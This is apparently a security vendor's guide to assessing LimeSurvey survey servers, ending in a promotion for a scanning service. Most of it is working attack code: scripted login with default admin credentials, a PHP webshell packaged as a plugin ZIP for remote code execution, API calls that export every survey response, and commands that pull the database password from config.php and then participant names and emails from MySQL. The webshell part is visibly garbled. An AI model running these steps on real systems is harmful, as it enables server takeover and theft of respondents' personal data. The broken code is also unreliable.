LimeSurvey is the most widely deployed open-source survey platform, used by universities, research institutions, government agencies, and businesses worldwide to collect survey responses, conduct employee surveys, and gather sensitive personal data from participants. Its admin plugin upload feature and default credentials make it a reliable path to server compromise in penetration tests. Key assessment areas: LimeSurvey defaults to admin/password; authenticated admin users can upload a PHP plugin ZIP file achieving Remote Code Execution; the RemoteControl2 JSON-RPC API provides full survey administration and response export; config.php stores the MySQL database password; and participant and response tables contain all collected survey data including personal information provided by respondents. This guide covers systematic LimeSurvey security assessment.
# LimeSurvey — default credentials and authenticated RCE via plugin upload
LIMESURVEY_URL="https://survey.example.com"
# Default credentials: admin / password (also try admin / admin, admin / limesurvey)
# Authenticate to admin panel
curl -s -c /tmp/lime_sess -b /tmp/lime_sess \
"${LIMESURVEY_URL}/index.php/admin/authentication/sa/login" 2>/dev/null | \
grep -o 'YII_CSRF_TOKEN.*value="[^"]*"' | head -1
CSRF_TOKEN=$(curl -s -c /tmp/lime_sess -b /tmp/lime_sess \
"${LIMESURVEY_URL}/index.php/admin/authentication/sa/login" 2>/dev/null | \
python3 -c "
import sys,re
html=sys.stdin.read()
m=re.search(r'name=\"YII_CSRF_TOKEN\"[^>]*value=\"([^\"]+)\"',html)
if m: print(m.group(1))
" 2>/dev/null)
curl -s -c /tmp/lime_sess -b /tmp/lime_sess \
-X POST "${LIMESURVEY_URL}/index.php/admin/authentication/sa/login" \
--data "user=admin&password=password&YII_CSRF_TOKEN=${CSRF_TOKEN}" \
-L 2>/dev/null | grep -i "surveys\|dashboard\|invalid\|error" | head -3
# Plugin upload RCE (authenticated) — create malicious plugin ZIP
# Create minimal LimeSurvey plugin with PHP webshell
mkdir -p /tmp/webshell/WebShell && cat > /tmp/webshell/WebShell/WebShell.php << 'PHPEOF'
' > /tmp/webshell/WebShell/shell.php
cd /tmp/webshell && zip -r WebShell.zip WebShell/ 2>/dev/null
# Upload the plugin ZIP (confirmation step — use only on authorized systems)
echo "Upload /tmp/webshell/WebShell.zip to ${LIMESURVEY_URL}/index.php/admin/pluginmanager/sa/upload"
echo "After upload, access: ${LIMESURVEY_URL}/upload/plugins/WebShell/shell.php?cmd=id"
# LimeSurvey RemoteControl2 API — survey and response data extraction
LIMESURVEY_URL="https://survey.example.com"
# Step 1: Get session key via RemoteControl2
SESSION_KEY=$(curl -s -X POST "${LIMESURVEY_URL}/index.php/admin/remotecontrol" \
-H "Content-Type: application/json" \
-d '{"method":"get_session_key","params":["admin","password"],"id":1}' 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('result',''))" 2>/dev/null)
echo "Session key: $SESSION_KEY"
# List all surveys
curl -s -X POST "${LIMESURVEY_URL}/index.php/admin/remotecontrol" \
-H "Content-Type: application/json" \
-d "{\"method\":\"list_surveys\",\"params\":[\"${SESSION_KEY}\",null],\"id\":2}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
surveys = d.get('result',[])
print(f'Surveys: {len(surveys)}')
for s in surveys:
print(f' [{s.get(\"sid\")}] {s.get(\"surveyls_title\")} active={s.get(\"active\")} responses={s.get(\"completed_responses\")}')
" 2>/dev/null
# Export survey responses — all participant data
SURVEY_ID="123456"
curl -s -X POST "${LIMESURVEY_URL}/index.php/admin/remotecontrol" \
-H "Content-Type: application/json" \
-d "{\"method\":\"export_responses\",\"params\":[\"${SESSION_KEY}\",\"${SURVEY_ID}\",\"json\",null,\"complete\"],\"id\":3}" 2>/dev/null | python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
result = d.get('result','')
if result:
try:
decoded = base64.b64decode(result).decode('utf-8')
data = json.loads(decoded)
responses = data.get('responses',[])
print(f'Survey responses: {len(responses)}')
for r in responses[:5]:
print(f' Response: {r}')
except Exception as e:
print(f'Export result length: {len(result)}')
" 2>/dev/null
# LimeSurvey config.php and database participant data extraction
# config.php — MySQL database credentials
grep -E "db_password|db_username|db_databasename|db_hostspec" \
/var/www/html/limesurvey/application/config/config.php 2>/dev/null
# 'db_password' — MySQL password in the components.db.connectionString or separate field
# MySQL direct access — survey participant tables
mysql -u limesurvey -p"DB_PASSWORD" limesurvey 2>/dev/null << 'EOF'
-- List all surveys and response counts
SELECT sid, surveyls_title, active, anonymized, datecreated
FROM lime_surveys_languagesettings
JOIN lime_surveys ON lime_surveys_languagesettings.surveyls_survey_id = lime_surveys.sid
ORDER BY sid DESC LIMIT 20;
EOF
# Participant data from survey response tables
# LimeSurvey stores responses in lime_survey_XXXXXX tables
SURVEY_ID="123456"
mysql -u limesurvey -p"DB_PASSWORD" limesurvey 2>/dev/null << EOF
SELECT id, submitdate, startlanguage, token, lastpage, startdate, datestamp
FROM lime_survey_${SURVEY_ID}
LIMIT 20;
EOF
# Participant panel — if panel module used, stores detailed personal info
mysql -u limesurvey -p"DB_PASSWORD" limesurvey 2>/dev/null << 'EOF'
SELECT p.firstname, p.lastname, p.email, p.emailstatus, p.language
FROM lime_participants p
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin/password credential exploitation | POST /index.php/admin/authentication/sa/login with admin:password — full LimeSurvey admin access; access to all surveys, response data, participant personal information, plugin manager, and system configuration | Critical |
| Authenticated RCE via PHP plugin upload | POST ZIP to /index.php/admin/pluginmanager/sa/upload — upload PHP webshell packaged as LimeSurvey plugin; access via /upload/plugins/{PluginName}/shell.php; OS command execution as web server user | Critical (authenticated admin required) |
| RemoteControl2 API survey response extraction | POST /index.php/admin/remotecontrol — get_session_key() with admin credentials; export_responses() returns all responses for any survey including participant personal data | Critical |
| config.php database credential extraction | Read application/config/config.php — MySQL db_password in PHP array; enables direct database access to all survey data, participant PII, and user accounts | Critical |
| Participant data extraction from response tables | MySQL query on lime_survey_XXXXXX and lime_participants tables — complete survey responses with participant tokens, IP addresses, timestamps, and all submitted form data | Critical |
Ironimo tests LimeSurvey deployments for default credential exploitation, authenticated RCE via PHP plugin ZIP upload testing, RemoteControl2 API survey and response data enumeration, config.php MySQL credential extraction, participant PII data access from lime_participants table, survey response export including personal data, plugin manager access control assessment, upload directory PHP execution testing, and API endpoint access control verification.
Start free scan